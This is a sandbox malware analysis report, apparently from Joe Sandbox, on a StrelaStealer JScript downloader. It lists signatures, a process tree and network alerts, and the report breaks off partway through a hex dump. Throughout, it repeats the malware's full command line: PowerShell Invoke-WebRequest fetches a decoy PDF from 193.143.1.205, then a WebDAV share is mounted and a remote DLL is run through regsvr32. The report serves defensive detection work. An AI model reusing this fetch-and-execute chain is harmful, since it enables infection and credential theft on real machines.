Edit tour

Windows Analysis Report
1329220172182926612.js

Overview

General Information

Sample name:	1329220172182926612.js
Analysis ID:	1589874
MD5:	9e8e98074c127f5775d31c9c6ce73242
SHA1:	e2f7ed1e416ed76e654c0cb0a0e1de2024b3d8ae
SHA256:	b68c366843ac8dfb752b73874cc5d661a939410731b56a0697022a1215156078
Tags:	jsStrelaStealeruser-cocaman
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6356 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1329220172182926612.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1344 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4960 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2896 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2488 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7328 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1612,i,9726095603850930841,13491542932021259864,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2484 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6336 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7192 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6356	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1344, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4960, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1344, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4960, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1329220172182926612.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1329220172182926612.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1329220172182926612.js", ProcessId: 6356, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6336, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1329220172182926612.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6356, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, ProcessId: 1344, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1329220172182926612.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6356, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, ProcessId: 1344, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1329220172182926612.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6356, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, ProcessId: 1344, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1329220172182926612.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6356, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, ProcessId: 1344, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1329220172182926612.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6356, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, ProcessId: 1344, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1329220172182926612.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1329220172182926612.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1329220172182926612.js", ProcessId: 6356, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1344, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4960, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2484, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6336, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7192, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2484, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6336, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1329220172182926612.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6356, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll, ProcessId: 1344, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T09:32:04.836334+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T09:32:07.124845+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T09:32:04.836334+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 1329220172182926612.js

Virustotal: Detection: 11%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1329220172182926612.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1329220172182926612.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 08:32:04 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 